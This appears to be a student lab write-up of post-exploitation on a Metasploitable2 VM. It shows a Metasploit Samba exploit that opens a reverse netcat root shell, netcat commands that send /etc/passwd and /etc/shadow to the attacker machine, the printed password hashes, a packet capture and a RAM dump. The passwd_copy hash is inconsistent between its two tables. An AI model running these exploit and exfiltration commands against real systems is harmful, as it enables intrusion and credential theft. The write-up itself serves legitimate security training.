



Post-Exploitation and Evidence Collection

The target VM was a Metasploitable2 VM. The following exploit was used to gain root access to the target VM:

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.3
LHOST => 192.168.56.3
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.56.3:4444
[*] Command shell session 1 opened (192.168.56.3:4444 -> 192.168.56.102:60107) at 2025-09-02 00:55:58 -0400

getuid 40 135.394978229 192.168.56.102 192.168.56.3 TCP 66 60107 - 4444 [ACK]
/bin/sh: line 3: getuid: command not found 192.168.56.3 TCP 66 139 - 33049 [ACK]
whoami 42 136.313674461 192.168.56.3 192.168.56.102 TCP 81 4444 - 60107 [PSH]
root 43 136.325364258 192.168.56.102 192.168.56.3 TCP 66 60107 - 4444 [ACK]
^X@ss 44 136.325364258 192.168.56.102 192.168.56.3 TCP 76 60107 - 4444 [PSH]
```

Evidence Collection via Netcat File Transfer

```
(kali@kali)-[~]
$ nc -lvp 4444 > passwd_copy

listening on [any] 4444 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.102] 60108

/bin/sh -i
sh: no job control in this shell
sh-3.2# cat /etc/passwd | nc 192.168.56.3 4444
```



```
~/passwd_copy - Mouse
File Edit Search View Document Help
+ [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons] [Icons]
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
3 bin:x:2:2:bin:/bin:/bin/sh
4 sys:x:3:3:sys:/dev:/bin/sh
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/bin/sh
7 man:x:6:12:man:/var/cache/man:/bin/sh
8 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
9 mail:x:8:8:mail:/var/mail:/bin/sh
10 news:x:9:9:news:/var/spool/news:/bin/sh
11 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
12 proxy:x:13:13:proxy:/bin:/bin/sh
13 www-data:x:33:33:www-data:/var/www:/bin/sh
14 backup:x:34:34:backup:/var/backups:/bin/sh
15 list:x:38:38:Mailing List Manager:/var/list:/bin/sh
16 irc:x:39:39:ircd:/var/run/ircd:/bin/sh
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
18 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
19 libuuid:x:100:101::/var/lib/libuuid:/bin/sh
20 dhcp:x:101:102::/nonexistent:/bin/false
21 syslog:x:102:103::/home/syslog:/bin/false
22 klog:x:103:104::/home/klog:/bin/false
23 sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
24 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
25 bind:x:105:113::/var/cache/bind:/bin/false
26 postfix:x:106:115::/var/spool/postfix:/bin/false

sh-3.2# cat /etc/shadow | nc 192.168.56.3 4444
█
```



```

1 Sroot:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
2 daemon*:14684:0:99999:7:::
3 bin*:14684:0:99999:7:::
4 sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
5 sync*:14684:0:99999:7:::
6 games*:14684:0:99999:7:::
7 man*:14684:0:99999:7:::
8 lp*:14684:0:99999:7:::
9 mail*:14684:0:99999:7:::
10 news*:14684:0:99999:7:::
11 uucp*:14684:0:99999:7:::
12 proxy*:14684:0:99999:7:::
13 www-data*:14684:0:99999:7:::
14 backup*:14684:0:99999:7:::
15 list*:14684:0:99999:7:::
16 irc*:14684:0:99999:7:::
17 gnats*:14684:0:99999:7:::
18 nobody*:14684:0:99999:7:::
19 libuuid!:14684:0:99999:7:::
20 dhcp*:14684:0:99999:7:::
21 syslog*:14684:0:99999:7:::
22 klog:$1$f2ZVMS4K$P9XkT.CmldHhdUE3X9jqP0:14742:0:99999:7:::

```

/etc/shadow: contains the hashed passwords for those accounts. With this file, investigators can attempt offline cracking to recover plaintext passwords, check password strength, and identify weak or reused credentials.



Ran Wireshark in the attacker VM during the entire exploitation and post-exploitation phase

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	fe80::2e54:71e6:2af...	ff02::1:ff00:1	ICMPv6	86	Neighbor Solicitation for fe80::1 from 0a:00:27:00:00:00
2	4.539689155	PCSSystemtec_a2:1a:...	Broadcast	ARP	42	Who has 192.168.56.2? Tell 192.168.56.3
3	4.540187571	PCSSystemtec_84:22:...	PCSSystemtec_a2:1a:...	ARP	60	192.168.56.2 is at 08:00:27:84:22:ba
4	4.540204391	192.168.56.3	192.168.56.2	DHCP	324	DHCP Request - Transaction ID 0x9b81f542
5	4.546591667	192.168.56.2	192.168.56.3	DHCP	590	DHCP ACK - Transaction ID 0x9b81f542
6	8.308113444	PCSSystemtec_a2:1a:...	Broadcast	ARP	42	Who has 192.168.56.102? Tell 192.168.56.3
7	8.315183379	PCSSystemtec_39:dc:...	PCSSystemtec_a2:1a:...	ARP	60	192.168.56.102 is at 08:00:27:39:dc:85
8	8.315200209	192.168.56.3	192.168.56.102	ICMP	98	Echo (ping) request id=0x0001, seq=1/256, ttl=64 (req)
9	8.316505301	192.168.56.102	192.168.56.3	ICMP	98	Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (rep)
10	9.309616965	192.168.56.3	192.168.56.102	ICMP	98	Echo (ping) request id=0x0001, seq=2/512, ttl=64 (req)
11	9.316140509	192.168.56.102	192.168.56.3	ICMP	98	Echo (ping) reply id=0x0001, seq=2/512, ttl=64 (rep)
12	10.317634260	192.168.56.3	192.168.56.102	ICMP	98	Echo (ping) request id=0x0001, seq=3/768, ttl=64 (req)
13	10.341099468	192.168.56.102	192.168.56.3	ICMP	98	Echo (ping) reply id=0x0001, seq=3/768, ttl=64 (rep)
14	23.597079241	PCSSystemtec_39:dc:...	PCSSystemtec_a2:1a:...	ARP	60	Who has 192.168.56.3? Tell 192.168.56.102
15	23.597098738	PCSSystemtec_a2:1a:...	PCSSystemtec_39:dc:...	ARP	42	192.168.56.3 is at 08:00:27:a2:1a:75
16	58.946269750	192.168.56.3	192.168.56.102	TCP	74	43983 -> 139 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK...
17	58.953619323	192.168.56.102	192.168.56.3	TCP	74	139 -> 43983 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=...
18	58.953786074	192.168.56.3	192.168.56.102	TCP	66	43983 -> 139 [ACK] Seq=1 Ack=89 Win=5888 Len=0 TSval=27...
19	58.974886301	192.168.56.3	192.168.56.102	SMB	154	Negotiate Protocol Request
20	58.986636739	192.168.56.102	192.168.56.3	TCP	66	139 -> 43983 [ACK] Seq=1 Ack=89 Win=5888 Len=0 TSval=42...
21	59.010247980	192.168.56.102	192.168.56.3	SMB	167	Negotiate Protocol Response
22	59.010305398	192.168.56.3	192.168.56.102	TCP	66	43983 -> 139 [ACK] Seq=89 Ack=102 Win=64256 Len=0 TSval=...
23	59.016923389	192.168.56.3	192.168.56.102	SMB	386	Session Setup AndX Request, User: .\=/ nohup mkfifo /t...
24	59.016063966	192.168.56.102	192.168.56.3	TCP	66	139 -> 43983 [ACK] Seq=102 Ack=409 Win=6912 Len=0 TSval=...

Collected the evidence hashes in a text file

File	Hash
passwd_copy	a2f23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42
shadow_copy	7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762
exploit_traffic.pcapng	386f3af85b3e20481b6e90cc4850c0cba3ed48340f5f5bf68126869d04390b2d
/home/kali/Downloads/memdump.raw	e68a62487d2b1ad1dda23f8989d6aa7e467092b85d747c0e473a5b0e1b149390

Dumped the ram of the victim vm

```
C:\Users\jatin>VBoxManage debugvm 0a14af5a-02ec-4026-b898-48afedbf28a4 dumpvmcore --filename memdump.raw
```

The ramdump image file is available in this google drive:

<https://drive.google.com/file/d/1BGUk6pjt0FW2l-RAOT6xOafAxd2ilW97/view?usp=sharing>

The memory dump (memdump.raw) was successfully acquired from the Metasploitable 2 VM. However, Volatility analysis could not be performed because Linux memory forensics requires kernel-specific symbol tables. Metasploitable 2 runs an outdated Ubuntu 8.04 kernel (2.6.24), and corresponding debug symbols or prebuilt Volatility profiles are not included with either Volatility 2 or Volatility 3. Without these profiles, Volatility cannot interpret the kernel structures in the dump, resulting in plugin errors.



This is a known limitation when analyzing older Linux distributions. To enable full analysis, custom Linux profiles must be compiled from the target kernel's headers and debug information. Since those legacy packages are no longer available in default repositories, generating a valid profile was not feasible in this lab environment.

Evidence Log

Item	Description	Collected By	Date	SHA256 Hash Value
Traffic Log	Exploit & file transfer PCAP	VAPT Analyst	2025-09-02	386f3af85b3e20481b6e90cc4850c0cba3ed48340f5f5bf68126869d04390b2d
passwd_copy	/etc/passwd snapshot	VAPT Analyst	2025-09-02	af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42
shadow_copy	/etc/shadow snapshot	VAPT Analyst	2025-09-02	7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762
memdump.raw	Full RAM dump of VM	VAPT Analyst	2025-09-02	e68a62487d2b1ad1dda23f8989d6aa7e467092b85d747c0e473a5b0e1b149390



Summary

Post-exploitation activities were conducted to demonstrate evidence collection and forensic integrity. A Samba vulnerability provided root access, enabling exfiltration of `/etc/passwd` and `/etc/shadow` using Netcat. Network traffic was captured with Wireshark, and a full RAM dump was acquired. All artifacts were hashed, preserving authenticity and maintaining chain-of-custody.